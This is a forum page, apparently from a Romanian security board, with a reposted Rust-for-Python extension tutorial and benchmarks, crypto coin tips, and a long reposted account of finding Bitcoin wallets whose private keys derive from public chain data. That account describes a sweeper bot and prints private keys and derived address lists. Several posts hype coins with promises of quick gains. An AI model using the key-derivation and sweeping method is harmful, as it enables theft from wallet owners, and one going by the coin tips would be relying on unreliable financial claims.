rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 2 items doubles.py .. ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_regex 24.6824 (1.0) 32.3960 (1.0) 27.0167 (1.0) test_pure_python 51.4964 (2.09) 62.5680 (1.93) 52.8334 (1.96) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Regexp – 27.0167 <– less is better Python Zip – 52.8334 Extending Python with Rust Create a new crate crate is how we call Rust Packages. Having rust installed (recommended way is Rust is https://www.rustup.rs/ )also available on Fedora and RHEL repositories by the rust-toolset I used rustc 1.21.0 In the same folder run: cargo new pyext-myrustlib It creates a new Rust project in that same folder called pyext-myrustlib containing the Cargo.toml (cargo is the Rust package manager) and also a src/lib.rs (where we write our library implementation). Edit Cargo.toml It will use the rust-cpython crate as dependency and tell cargo to generate a dylib to be imported from Python. [package] name = "pyext-myrustlib" version = "0.1.0" authors = ["Bruno Rocha <rochacbruno@gmail.com>"] [lib] name = "myrustlib" crate-type = ["dylib"] [dependencies.cpython] version = "0.1" features = ["extension-module"] Edit src/lib.rs What we need to do: Import all macros from cpython crate. Take Python and PyResult types from CPython into our lib scope. Write the count_doubles function implementation in Rust, note that this is very similar to the Pure Python version except for: It takes a Python as first argument, which is a reference to the Python Interpreter and allows Rust to use the Python GIL. Receives a &str typed val as reference. Returns a PyResult which is a type that allows the rise of Python exceptions. Returns an PyResult object in Ok(total) (Result is an enum type that represents either success (Ok) or failure (Err)) and as our function is expected to return a PyResult the compiler will take care of wrapping our Ok on that type. (note that our PyResult expects a u64 as return value). Using py_module_initializer! macro we register new attributes to the lib, including the __doc__ and also we add the count_doubles attribute referencing our Rust implementation of the function. Attention to the names libmyrustlib, initlibmyrustlib, and PyInit. We also use the try! macro, which is the equivalent to Python’stry.. except. Return Ok(()) – The () is an empty result tuple, the equivalent of None in Python. #[macro_use] extern crate cpython; use cpython::{Python, PyResult}; fn count_doubles(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; // There is an improved version later on this post for (c1, c2) in val.chars().zip(val.chars().skip(1)) { if c1 == c2 { total += 1; } } Ok(total) } py_module_initializer!(libmyrustlib, initlibmyrustlib, PyInit_myrustlib, |py, m | { try!(m.add(py, "__doc__", "This module is implemented in Rust")); try!(m.add(py, "count_doubles", py_fn!(py, count_doubles(val: &str)))); Ok(()) }); Now let’s build it with cargo $ cargo build --release Finished release [optimized] target(s) in 0.0 secs $ ls -la target/release/libmyrustlib* target/release/libmyrustlib.d target/release/libmyrustlib.so* <-- Our dylib is here Now let’s copy the generated .so lib to the same folder where our doubles.py is located. NOTE: on Fedora you must get a .so in other system you may get a .dylib and you can rename it changing extension to .so. $ cd .. $ ls doubles.py pyext-myrustlib/ $ cp pyext-myrustlib/target/release/libmyrustlib.so myrustlib.so $ ls doubles.py myrustlib.so pyext-myrustlib/ Having the myrustlib.so in the same folder or added to your Python path allows it to be directly imported, transparently as it was a Python module. Importing from Python and comparing the results Edit your doubles.py now importing our Rust implemented version and adding a benchmark for it. import re import string import random import myrustlib # <-- Import the Rust implemented module (myrustlib.so) def count_doubles(val): """Count repeated pair of chars ins a string""" total = 0 for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) def test_rust(benchmark): # <-- Benchmark the Rust version benchmark(myrustlib.count_doubles, val) Benchmark $ pytest doubles.py ============================================================================== platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_round rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 3 items doubles.py ... ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_rust 2.5555 (1.0) 2.9296 (1.0) 2.6085 (1.0) test_regex 25.6049 (10.02) 27.2190 (9.29) 25.8876 (9.92) test_pure_python 52.9428 (20.72) 56.3666 (19.24) 53.9732 (20.69) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Rust – 2.6085 <– less is better Regexp – 25.8876 Python Zip – 53.9732 Rust implementation can be 10x faster than Python Regex and 21x faster than Pure Python Version. Interesting that Regex version is only 2x faster than Pure Python 🙂 NOTE: That numbers makes sense only for this particular scenario, for other cases that comparison may be different. Updates and Improvements After this article has been published I got some comments on r/python and also on r/rust The contributions came as Pull Requests and you can send a new if you think the functions can be improved. Thanks to: Josh Stone we got a better implementation for Rust which iterates the string only once and also the Python equivalent. Thanks to: Purple Pixie we got a Python implementation using itertools, however this version is not performing any better and still needs improvements. Iterating only once fn count_doubles_once(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; let mut chars = val.chars(); if let Some(mut c1) = chars.next() { for c2 in chars { if c1 == c2 { total += 1; } c1 = c2; } } Ok(total) } def count_doubles_once(val): total = 0 chars = iter(val) c1 = next(chars) for c2 in chars: if c1 == c2: total += 1 c1 = c2 return total Python with itertools import itertools def count_doubles_itertools(val): c1s, c2s = itertools.tee(val) next(c2s, None) total = 0 for c1, c2 in zip(c1s, c2s): if c1 == c2: total += 1 return total New Results ------------------------------------------------------------------------------- Name (time in ms) Min Max Mean ------------------------------------------------------------------------------- test_rust_once 1.0072 (1.0) 1.7659 (1.0) 1.1268 (1.0) test_rust 2.6228 (2.60) 4.5545 (2.58) 2.9367 (2.61) test_regex 26.0261 (25.84) 32.5899 (18.45) 27.2677 (24.20) test_pure_python_once 38.2015 (37.93) 43.9625 (24.90) 39.5838 (35.13) test_pure_python 52.4487 (52.07) 59.4220 (33.65) 54.8916 (48.71) test_itertools 58.5658 (58.15) 66.0683 (37.41) 60.8705 (54.02) ------------------------------------------------------------------------------- The new Rust implementation is 3x better than the old, but the python-itertools version is even slower than the pure python After adding the improvements to iterate the list of chars only once, Rust still has advantage from 1.1268 to 39.583 Conclusion Rust may not be yet the general purpose language of choice by its level of complexity and may not be the better choice yet to write common simple applications such as web sites and test automation scripts. However, for specific parts of the project where Python is known to be the bottleneck and your natural choice would be implementing a C/C++ extension, writing this extension in Rust seems easy and better to maintain. There are still many improvements to come in Rust and lots of others crates to offer Python <--> Rust integration. Even if you are not including the language in your tool belt right now, it is really worth to keep an eye open to the future! References The code snippets for the examples showed here are available in GitHub repo: https://github.com/rochacbruno/rust-python-example. The examples in this publication are inspired by Extending Python with Rust talk by Samuel Cormier-Iijima in Pycon Canada. video here: Also by My Python is a little Rust-y by Dan Callahan in Pycon Montreal. video here: Other references: https://github.com/mitsuhiko/snaek https://github.com/PyO3/pyo3 https://pypi.python.org/pypi/setuptools-rust https://github.com/mckaymatt/cookiecutter-pypackage-rust-cross-platform-publish http://jakegoulding.com/rust-ffi-omnibus/ https://github.com/urschrei/polylabel-rs/blob/master/src/ffi.rs https://bheisler.github.io/post/calling-rust-in-python/ https://github.com/saethlin/rust-lather Join Community Join Rust community, you can find group links in https://www.rust-lang.org/en-US/community.html. If you speak Portuguese, I recommend you to join https://t.me/rustlangbr and there is the http://bit.ly/canalrustbr on Youtube. Author Bruno Rocha Senior Quality Engineer at Red Hat Teaching Python and Flask at CursoDePython.com.br Fellow Member of Python Software Foundation Member of RustBR study group M0ore info: http://about.me/rochacbruno and http://brunorocha.org Source
  21. 4 points
    https://explainshell.com/
  22. 4 points
    @robert2alin in continuare la https://rstforums.com/forum/topic/107079-iphone-8-blacklist/?do=findComment&comment=655986 asta am rezolvat. Spor!
  23. 4 points
    Hackerii pizdii, viitorii asistati social... pune-n plm mana pe carte si lasa prostiile. Magazin online? vezi sa nu primesti ceva de sezon:
  24. 4 points
    Scuza buna pentru nevasta cand te prinde vorbind cu amanta Vocile bre.. vocile.. #WeAreLegionForWeAreMany
  25. 4 points
    daca iti producea 50k doar din links nu o vindeai
  26. 3 points
    Cine dreq se uita la copii care fac galagie? Ca plafon de skill e vaza si nu e frumos de vizionat ca un meci professional. (git gud kid) Ca entertainment e si mai varza. 5 copii care fac galagie intr-un microfon la 3 lei din piata. Nici amuzant nu esti, nici calitate audio nici calitate ca skill in gameplay. Daca vrei sa fii youtuber orienteaza-te pe alt segment sau incearca sa faci lucruri mult mai originale.
  27. 3 points
    IOTA mai are mult de mers in sus. Recomand! Sunt seriosi si au parteneriate cu multe companii. Imi apare asemanatoare situatia cu early days ETH. Am luat initial la 16k satoshi, am vandut la 35k si acum caut sa iau iar pentru ca se pare ca s-a stabilizat pe la 24k satoshi. Incerc sa acumulez si BAT cand sunt dips pentru ca e pret foarte mic momentan si proiectul e super misto. In plus, Brave browser se misca excelent. Easy 10x in cateva luni.
  28. 3 points
  29. This post cannot be displayed because it is in a forum which requires at least 10 posts to view.
  30. 3 points
    BRAVO! Ia vezi, cumpara: https://bittrex.com/Market/Index?MarketName=BTC-KORE asta este ICO-ul lor: http://kore.life/ https://twitter.com/newkorecoin?lang=ro "it releases masternodes and wallet update this week" Este pretul 4.66 acum, fac pariu ca o sa faca 2X sapt viitoare Ia vezi si asta:
  31. 3 points
    sunteti nobi! Luati d-aici.. cu 5k euro investitie si 4 luni dupa. http://prntscr.com/hio1kj http://prntscr.com/hio1no http://prntscr.com/hio1q3 Este doar un wallet virtual.. cu investitii curente. Nu cumparati nimic pana nu verificati bine innainte.
  32. 3 points
    Mai pe scurt, toti cei care detin monezi NXT vor primi GRATUIT jumate din numarul lor in noua moneda care se va lansa si se va numi IGNIS. Eu unul am investit ceva banuti pentru a prinde valul (actiunea se va intampla de Craciun) si o vad ca pe o oportunitate buna sa fac ceva profit (toata smecheria ii sa stii cand sa te opresti). Cam asa arata evolutia in ultimele 2 zile a monezii NXT: Mai multe detalii gasiti aici: https://www.jelurida.com/ico
  33. 3 points
    de ce sa nu mergi la politie sa faci o plangere si ei sunt obligati sa faca ancheta etc. (sau daca nu te indurma ce sa faci si cum). daca te bagi tu sa desfaci telefonul sau sa verifici software-ul risti sa distrugi din dovezi. PS: Situatia descrisa de tine cade sub un proces PENAL si nu CIVIL. Adica e treaba politiei si nu teaba ta cu avocati. Off: Mama cat s-au inmultit telenovelele pe forumul asta. Nu trece o saptamana fara un topic cu inselari, divortari, tradari, ascultari, spionari. Mai ceva ca Ochii din Umbra.
  34. 3 points
    NU am citit tot articolul, motiv pentru care topicul e la offtopic, daca cineva are rabdare sa citeasca si informatiile presentate i se par credibile sa lase un comentariu si voi muta topicul ----------- Hi. Thanks for passing this along so it gets some attention. I was worried if I posted this somewhere it would mostly go unnoticed. Also, I'm trying to stay anonymous because I don't want to be accused of being the person who came up with this exploit or be blamed by any company for any damages. It's an interesting technical story so I thought I would share it. -------- story begins here ---------------- I returned 9 BTC to reddit user fitwear who recently claimed were stolen from their blockchain.info wallet. I have evidence that some bitcoin address generation code in the wild is using private keys that can easily be discovered on a regular basis. This is either intentional or by mistake. Some wallets have been compromised by what is probably an innocent looking piece of code. Furthermore, someone has been siphoning bitcoin on a regular basis since 2014 from them. Whether they discovered this by accident (like I did) or are the ones who installed the code themselves, I don't know. It looks like either a clever exploit or a coding error. It could also be yet another piece of malware, however as I explain below, I feel this is less likely the case. In order to fully understand how this works and how I discovered it, please read on. Some Background --------------- I've been following bitcoin since I first heard of it in 2011. One of the things that fascinated me was the ability for someone to create private keys from just about anything using Sha256 (i.e. Sha256(password/phrase)). This, of course, is NOT a recommended way of obtaining a private key since if YOU can think of the word/phrase, someone else can too and the likelihood of your bitcoins being stolen is quite high. The most secure private keys are generated randomly. The probability of someone else being able to generate the same sequence of 32 random bytes is so close to 0, it is highly improbable anyone ever will (given the expected lifespan of the universe). If you peer into the blockchain, you will find that people have 'played' with the chain by sending small amounts of bitcoins to addresses corresponding to private keys generated using Sha256. For example, Sha256 of each word in the entire /usr/dict/words file found on most UNIX systems has had a small amount sent to it. There was a site called brainwallet.org that made it easy for you to convert a phrase into a private key + public address. (The code is still available on GitHub but has since been removed from the Internet). Try using phrases like "i find your lack of faith disturbing", "these aren't the droids you're looking for" or "satoshi nakamoto" as inputs to Sha256. You'll find the addresses corresponding to those private keys have had small amounts sent to them (and transferred out). It's quite obvious these were _meant_ to be found. It turns out there are a lot of these addresses. (Keep looking and you will easily find some.) This is nothing new and has been known to the bitcoin community for a while. I always had the idea in the back of my mind to try and find other non-trivial examples of 'discoverable' private keys. That is, something beyond Sha256(word/phrase). So I decided to try and hunt for buried bitcoin treasure. Perhaps I could find some bitcoin intentionally hidden by someone that hadn't yet been discovered? In the first couple weeks of June 2017, I finally devoted some time to the task. I honestly didn't expect to find much but I was amazed at what I ended up discovering. I began by writing a program to scan every block in the blockchain and record every public address that had ever been used. (Note: I didn't only store addresses for which the balance was greather than zero, I stored ALL of them which is why I believe I ended up accidentally discovering what I did.) There were only about 290 million at the time so this wasn't a big deal. The Experiments --------------- What follows is a description of my experiments and what led me to discover what I believe is either a scam or really bad coding error. Experiment 1 ------------ My first experiment was to see if anyone used a block hash as a private key. That would actually be a nifty way to 'compress' 32 bytes in your head. You would only have to remember the block height (which is only maybe 6 digits) and the corresponding larger 32 byte number would be saved for all time in the chain itself! Results: Success! I found 46 addresses that had some amount of bitcoin sent to them between 2009 and 2016. As expected, these all had 0 balances either because the owner had taken them back or they were discovered by someone else. Here are two examples. You can use blockchain.info to see these hex values are actually block hashes from early in the chain. This happened on/off up until mid-2016. 1Buc1aRXCqdh6r7PRYWPAy3EtVFw5Ue5dk 000000006a625f06636b8bb6ac7b960a8d03705d1ace08b1a19da3fdcc99ddbd 1KLZnkqU94ZKpgtcWCRs1mhqtF23jTLMgr 000000004ebadb55ee9096c9a2f8880e09da59c0d68b1c228da88e48844a1485 Nothing really alarming so far. Experiment 2 ------------ Similar to my first experiment, I then searched for addresses that were generated from the merkle root used as a private key. (BTW, I searched for both compressed/uncompressed keys, so each 32 bytes resulted in two address look-ups from my database). Results: Yes! I found 6 addresses again up until mid-2016. Even though every address I found had a 0 balance (again expected), I was having fun with my success! Example: 13bkBdHRovsBkjM4BUsbcDNr9DCTDcpy9W 6c951c460a4cfe5483863adacafad59e5de7e55876a21857733ca94049d7d10c Similar to merkle root and block hashes, transaction ids (hashes) also seem to have been used as private keys. Still nothing alarming to me thus far. Experiment 3 ------------ I wondered at this point if anyone might have used repeated Sha256 on words. Why stop at just one iteration when you can easily do one million? Also, it becomes less likely to be discovered the more iterations you do. I found a bunch. Here are a few: Sha256('sender') x 2 18aMGf2AxQ3YXyNv9sKxiHYCXcBJeJv9d1 098f6d68ce86adb2d8ba672a06227f7d177baca3568092e4cda159acca5eb0c7 Sha256('receiver') x 2 1C3m5mFx6SjBCpw6qLqzM8izZArVYQ9B5u 6681b4b6aa44318e55a724d7135ff23d76eb75847802cd7d220ecaa8427b91d4 Sha256('hello') x 4 17UZ4iVkmNvKF9K2GWrGyMykX2iuAYbe1X 28b47e9b141279ea00333890e3e3f20652bbd7abc2b66c62c5824d4d6fe50ac9 Sha256('hello') x 65536 1Mi5mVANRNAetbJ21u2hzs28qCJC19VcXY 52fa8b1d9fbb264d53e966809ce550c3ab033248498da5ac0c5ab314ab45198e Sha256('password') x 1975 (This one's my favorite, someone's birth year?) 13mcYPDDktHdjdq9LwchhU5AqkRB1FD6JE 6e8cdae20bef63d33cb6d5f1c6c9c954f3148bfc88ef0aa1b51fd8b12fa9b41c People were obviously burying bitcoin in the chain. Whether they expected the coins to be taken or not, we'll never know. But these methods were still highly 'discoverable' in my opinion. Experiment 4 ------------ My last experiment is the one that led me to believe someone was siphoning bitcoin from some service on a regular basis and has been since 2014. Take a look at this private key: KyTxSACvHPPDWnuE9cVi86kDgs59UFyVwx2Y3LPpAs88TqEdCKvb The public address is: 13JNB8GtymAPaqAoxRZrN2EgmzZLCkbPsh The raw bytes for the private key look like this: 4300d94bef2ee84bd9d0781398fd96daf98e419e403adc41957fb679dfa1facd Looks random enough. However, these bytes are actually sha256 of this public address! 1LGUyTbp7nbqp8NQy2tkc3QEjy7CWwdAJj I discovered this by performing Sha256 on all the public addresses I had collected from the setup of my experiments and then seeing if those addresses (from the generated private keys) were ever used. Bingo! Lots were coming up. I searched a fraction of the chain and found dozens. I also found these addresses had bitcoin sent to them very recently (within weeks/days of when I discovered them.) I asked myself, "Why would someone do this?" At first, I thought this was someone who thought they could get away with having to remember only one piece of information rather than two. Maybe they have one favorite address/private key combo and derived another from that one? I thought it was possible. You could keep doing this in a chain and derive as many as you wanted and only ever have to remember the first one. But I ruled this out for one simple reason; bitcoins transferred into those addresses were being transferred out within minutes or SECONDS. If someone generated these private keys for themselves, then why would the coins be almost immediately transferred out in every case I looked at? Here are some more (complete list at end of this doc): 16FKGvEtu5KPMZqiTK4yjmsSZsJLyxz9fr from Sha256(1CRWfJdgVrfKLRS4G3vTMRhEQrCZZyHNMo) 1HwxL1vutUc42ikh3RBnM4v2dVRHPTrTve from Sha256(1FfmbHfnpaZjKFvyi1okTjJJusN455paPH) 1FNF3xfTE53LVLQMvH6qteVqrNzwn2g2H8 from Sha256(1H21ndKEuMqZbeMMCqrYArCdV8WeicGehB) In every case I looked at, the coins were moved away within minutes or seconds. It was much more likely that a bot was waiting for those coins to show up. Also, transactions are STILL happening to this day on those addresses! But how can that bot know in advance that address was about to receive bitcoins? A Scam or a mistake? -------------------- It is at this point I formed a theory on what was really happening. It is likely that someone installed malicious code into the backend system of a mining pool, an exchange, or possibly wallet generation code. They are using public information so that they can discover the private keys easily and steal the coins on the side. But why would they use Sha256(public_address)? Why not do Sha256(public_address + some super hard to guess random sequence) or just use a hard-coded address? Well, I have a theory on that too. It can't be hard-coded or it would look suspicious in a source code repository. It's likely the code was introduced by someone who works (or worked) for some company connected to bitcoin (exchange/mining pool/gambling site/wallet). Code submitted by developers into source control systems usually goes through a code review process. It would be much easier to hide an innocent looking Sha256 operation inside the millions of lines of code that make up the backend. Sha256 is used all over the place in bitcoin and it wouldn't look suspicious. The function would be readily available. However, if code were to be submitted that performed Sha256(address + "secret_password1234xyz"), that would look VERY suspicious. My guess is someone has slipped in a routine that LOOKS harmless but is actually diverting bitcoin to their awaiting bot ready to gobble them up. It's actually quite clever. No one can know the destination address in advance. You would have to keep performing Sha256 on all public addresses ever used to catch that one in a million transaction. Someone would be able to capture those coins by simply watching for a transaction into an address that corresponds to a private key generated from Sha256 of one of the existing public addresses. Keeping such a database is trivial and lookups are quick. To be fair, I suppose this could be a coding error. Anything is possible with a buffer overflow. I would love to see the code if this is ever found. Transactions were STILL happening right up until a couple weeks before I made this discovery! So I wrote a bot to try and 'catch' a transaction. Mind Blown ---------- Within the FIRST 48 HOURS of my bot going live, on Jun 19, a whopping 9.5 BTC was transferred into an address for which I had the private key. This was approximately worth $23,000 USD at the time. I was shocked. This is the address: 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp The private key is: KzfWTS3FvYWnSnWhncr6CwwfPmuHr1UFqgq6sFkGHf1zc49NirkC whose raw bytes are derived from Sha256 of: 16SH69WgJCXYXWV58sxjTxonhgBh5HCZTt (which appears to be some random address previously used in the chain) BUT... I had failed to test my program sufficiently and it failed to submit the transaction! The 9.5 BTC was sitting there for almost 15 minutes before being swept away by someone else. I honestly didn't think the first amount to cross my radar would be so high. The other samples I found from past transactions were for tiny amounts. It is quite possible that whoever moved them later out of the poisoned address actually owned them. Maybe someone else's sweeper bot only takes small amounts most of the time to avoid attention? At this point, I was pretty confident I was on to something not yet discovered by anyone else. I _could_ have taken those 9.5 BTC and if this was known to others. Also, if you look into the history of that account, 12 BTC was transferred into it (and out right away) only one month earlier. No one has claimed any theft (to my knowledge) involving that address. I fixed my program (actually tested it properly this time) and let it run again. My program detected more transactions (2 within the next 48 hours). I coded my bot to ignore anything less than .1 BTC so I didn't move them. I didn't want to tip off the anyone that I knew what they were doing (if that was indeed the case). Another 3-4 days passed and the next hit my bot detected was for roughly .03 BTC (~$95USD). For some reason, this was not transferred out immediately like the rest. By this time it was July 4th weekend. I let this one sit too and it took a full 7 days before it was moved (not by me). It may have been the legitimate owner or a bot. We'll never know. The destination address was: 1LUqqMzaigWJTzaP79oxsD6zKGifokrh7p The private key raw bytes were: c193edeeb4e7fb5c3e01c3aebd2ec5ac13f349a5a78ca4112ab6a4cbf8e35404 The plot thickens... -------------------- I didn't realize it at the time but that last transfer was into an address for a private key not generated from another public address like the first one. Instead, this address was generated from a transaction id! I had forgotten that I seeded my database with private keys generated with transaction ids as part of one of my earlier experiments. I didn't label them so I didn't know which were from Sha256(pub address) and which were from transaction ids. I found some hits at the time but when I checked the balances for those accounts, they were all zero and I didn't think anything of it. But now my database was detecting ongoing transfers into THOSE addresses (transacton id based) too! Okay, someone was possibly using information from the blockchain itself to ensure private keys were discoverable for the addresses they were funelling bitcoin into. The interesting thing is I found a link between the 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp address (via sha of a public address) AND the 1LUqqMzaigWJTzaP79oxsD6zKGifokrh7p transfer (via the tx id as a key). In the history of both of these addresses, you can see the BTC eventually ended up into this address: 1JCuJXsP6PaVrGBk3uv7DecRC27GGkwFwE Also, the transaction id was for the previous transaction to the one that put the BTC in the toxic (discoverable) address in the first place. Now it became even more clear. The malicious code sometimes used a recent transaction id as the private key for the doomed destination address. Follow the .03 BTC back and you will see what I mean, you eventually get to the txid = private key for that discoverable address. The 1JCuJXsP6PaVrGBk3uv7DecRC27GGkwFwE address is ONE of the collection addresses. I have reason to believe there have been many over the years. This one only goes back to approximately March 2017. You can see in the history of this one address when they consolidated their ill-gotten gains into one transaction back to themselves. I let my bot run longer. The next hit I got was for block hashes that were used as private keys (see Experiment #1). Sure enough, this address also had links to the 1JCuJXsP6PaVrGBk3uv7DecRC27GGkwFwE collection address! And remember my merkle root experiment? I believe those were also part of this. However, I have not linked those to this one particular collection address yet. In the end, I found a total of four different 'discoverable' private key methods being used. I made sure my database was filled with every block hash, merkle root, transaction id and Sha256(public address) for private keys and let my bot run. Transactions for all four types were showing up, again for tiny amounts which I ignored. By this time, I was watching BTC getting taken in small amounts regularly. Sometimes, I saw as many as 6 transactions fly by in one day. How fitwear lost (and got back) 9 BTC ------------------------------------- On Nov 12, my program saw 9 BTC transferred into an address that my database had the private key for. I had searched for that address too to see if anyone was claiming ownership but I didn't see anything. I decided to send a small amount to a well known puzzle address to give the transaction some public scrutiny in an anonymous way (1FLAMEN6, I'm still trying to solve this BTW). Shortly after, I became aware of fitwear's reddit post claiming theft after someone noticed the prize amount had been topped off and linked the two events together. I contacted fitwear privately and returned their coins minus the small amount I sent to the puzzle address. Blockchain.info's original response to his support ticket, was that his system must have been compromised. However, if you read his post, he took every precaution including typing in the key for his paper wallet instead of copy/paste and using 2FA. In his case, in Aug 2017, he imported the private key for his 1Ca15MELG5DzYpUgeXkkJ2Lt7iMa17SwAo paper wallet address into blockchain.info and submitted a test transaction. At some point between then and Nov 12, the compromised 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit got into his online wallet as an 'imported' address. Together, we contacted blockchain.info and I relayed the information I just outlined above to them. Their security team investigated but found no evidence it was their system that was at fault. I suppose it's possible his system was somehow compromised back in August and managed to import a key into blockchain.info without him knowing it. Or someone else logged into his account, imported the key, then waited. I feel the malware/login explanations are much less likely because it looks like code attempting to 'hide in plain sight' to me. You wouldn't need to use Sha256(address) or block hash or txid or merkleroot if you were malware or an unauthorized login. You would at least salt or obscure the key with some bit of knowledge only you know so that only you could derive the private key (as mentioned earlier). The fact that information from the blockchain itself is being used indicates it may be some transaction processing logic. Also, fitwear took extreme precautions (you can read his reddit post for details). The origin of these poison destination addresses remains a mystery. If it's the case that some wallet generation code is doing this, then it may be the case that we're seeing 'change' transactions. When you create a wallet, there maybe 20 addresses generated. They are all supposed to be random keys. If this rogue code creates one of them in this manner (based on the public address string of an earlier one), then at some point, your 'change' will get put back into it as the wallet 'round-robins' through the list. fitwear's 15Z address sat unused until Nov 12 when fitwear transferred his 9 BTC into it using blockchain.info. To see the connection, take a look at this: echo -n "1Ca15MELG5DzYpUgeXkkJ2Lt7iMa17SwAo" | sha256sum 9e027d0086bdb83372f6040765442bbedd35b96e1c861acce5e22e1c4987cd60 That hex number is the private key for 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit !!! fitwear insists he did not import the key for that address. Did Blockchain.info generate it or was it added by mallicious browser code? We may never know. See below for the complete list of other Sha256 based addresses that suffer from the same issue. I believe this is happening for others. It's likely, that the small amounts usually taken are going unnoticed by the owners. What does this mean for bitcoin? Nothing probably. I believe the bitcoin network itself to be secure. However, as long as humans are involved in the services that surround it (mining pools, exchanges, online/mobile wallets) there is always a chance for fraud or error. The bitcoin network itself may be 'trustless', but anything humans touch around its peripheries is certainly not. And you need to use those services to get in/out of the network. So even with bitcoin, it still boils down to trust. To be fair to blockchain.info, only Sha256(public address) (one in particular) was found to be present in one of their wallets. The other 3 methods I described above could be completely unrelated. And they could all possibly be a (really weird) software bug. Here are 100+ addresses that received bitcoins whose private keys are the bytes resulting from Sha256 of another public address. Most of these came from a scan I did of old transactions, not while my bot was running. Blockchain.info told me they do not appear to have been generated by their system. Also, the list of addresses I"m providing are only the subset that have already had some BTC transacted through them. There are likely hundreds more lying dormant inside people's wallets that have not been used yet. Here is the list: 1G2rM4DVncEPJZwz1ubkX6hMzg5dQYxw7b Sha256(1PoHkMExsXDDBxpAwWhzkrM8fabmcPt6f4) 1Kap8hRf8G71kmnE9WKSBp5cJehvTEMVvD Sha256(1LdgEzW8WhkvBxDBQHdvNtbbvdVYbBB2F1) 1LsFFH9yPMgzSzar23Z1XM2ETHyVDGoqd5 Sha256(1FDWY63R3M87KkW2CBWrdDa4h8cZCiov9p) 13eYNM5EpdJS7EeuDefQZmqaokw21re4Ci Sha256(1E7kRki9kJUMYGaNjpvP7FvCmTcQSih7ii) 1CcSiLzGxXopBeXpoNSchagheK9XR61Daz Sha256(191XapdsjZJjReJUbQiWAH3ZVyLcxtcc1Y) 1J9Gtk5i6xHM5XZxQsBn9qdpogznNDhqQD Sha256(16fawJbgd3hgn1vbCb66o8Hx4rn8fWzFfG) 1A17F9NjArUGhkkiATyq4p8hVVEh2GrVah Sha256(1Je3tz5caVsqyjmGgGQV1D59qsCcQYFxAW) 1GGFXUL1GoHcEfVmmQ97getLvnv6eF98Uu Sha256(1DCfq8siEF698EngecE69GxaCqDmQ2dqvq) 14XxBoGgaJd1RcV3TP8M4qeKKFL9yUcef1 Sha256(1Frj1ADstynCYGethjKhDpgjFoKGFsm5w5) 18VZKyyjNR8pZCsdshgto2F1XWCznxs86P Sha256(1FEwM9bq3BnmPLWw5vn162aBKjoYYBfyyi) 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp Sha256(16SH69WgJCXYXWV58sxjTxonhgBh5HCZTt) 19T6HNnmMqEcnSZBVb1BNA6PrAKd5P2qZg Sha256(1Frj1ADstynCYGethjKhDpgjFoKGFsm5w5) 1MWBsFxWJrNtK2cN2Vt7j3a9r5ubfn41nx Sha256(16era4SgYEcbZD1pu6oCBXGXjK2wSrePe8) 1Ns55SngRhshA8kEnyuQ9ELZZPN7ubYfQJ Sha256(1NiNja1bUmhSoTXozBRBEtR8LeF9TGbZBN) 13CnacdjvuuTJkCWrZf33yMrQh5aVX5B14 Sha256(1KPDwnrzJAfD2V4oiPf55WBTAi6UJDvMjN) 1MG1dTqtWVNqq3Qht88Jrie7SXp2ZVkQit Sha256(1UvM3rBJ8Sa1anQ8Du1mj5QZapFmWF7vH) 1DBXjdbMWXmgt81E1W7AYRANVPiq12LsGd Sha256(1Poi5SE42WVR2GKPrwp9U3wYqEBLN6ZV1c) 1GUgTVeSFd2L5zQvpYdQNhPBJPi8cN3i4u Sha256(1EjWVhiTyCdpTa29JJxAVLq27wP4qbtTVY) 1JQ2shEPzkd3ZL3ZQx7gmmxFLvyhSg14cb Sha256(1KEkEmadjTYHCiqhSfourDXavUxaiwoX7f) 125PcPD4QXzgDwNPForSFji8PPZVDr2xkp Sha256(1GRdTKgSq5sY3B4PiALPjKTXSXPXs6Ak7X) 1kN83e7WRtsXD7nHn51fwdEAi51qk5dEe Sha256(1JcsBzKio1curbu9AtxTySxddvT4MKT3Da) 1L5pzdXL4hhtMHNxFXHjjdhhSidY9kJVRk Sha256(1V8tWZw4J3G5kBgafGsfoVSNQEgkxDmeA) 1cQH5XCsezkKt9zpwjHizz8YJZudDSwri Sha256(1AYKSUqCtDX1E34q4YoFnjwWSj41huWgGG) 1DHWP6UjSKBBUR8WzTviWAGNgLfDc6V6iL Sha256(1MbzspFCdXjtqAUx3t6A11vzrk5c847mvE) 1EqSvLnMhbRoqZkYBPapYmUjMS9954wZNR Sha256(1XAeTJCaYJgoBDwqC1rhPhu3oXiKuMs9C) 1MJKz1M7dEQCHPdV5zrLSQPa4BGFAuNJyP Sha256(1BxzenHnSuKwqANALE5THeTCSRZkv3ReRP) 18VZG5Dr8bYJWadHUgh7kC4RPS1VsvH4Ks Sha256(1qA59Na3WysruJbCPoomryDRCtJ4f4aLu) 1CoyRECWJ4LHNiZAgAz9719chFkrDJuNMC Sha256(19o4Yjrd74qnZ3z87C67BShbbF4fSNHy8W) 1ERKXYeaCy97KPdJTRbWjJDVzMbStJYqCm Sha256(1DMwZeQJXfWToRRHr5uRiKeucwDWkWLvkm) 1mbcQaPzsaBoaYP4V6uwCA74BRPhroK3r Sha256(1KzSULbG3fRVjWrpVNLpoB6J62xYL42AdN) 1gHad7cKWDcVKFeKcLRW4FhFAyw2R7FQZ Sha256(1LFCEek8FobJRXb5YrzWJ6M2y8Tx2Xg3NB) 1DvtF6X5b9cBrMZa4Yff9tARCLqP5ZyB47 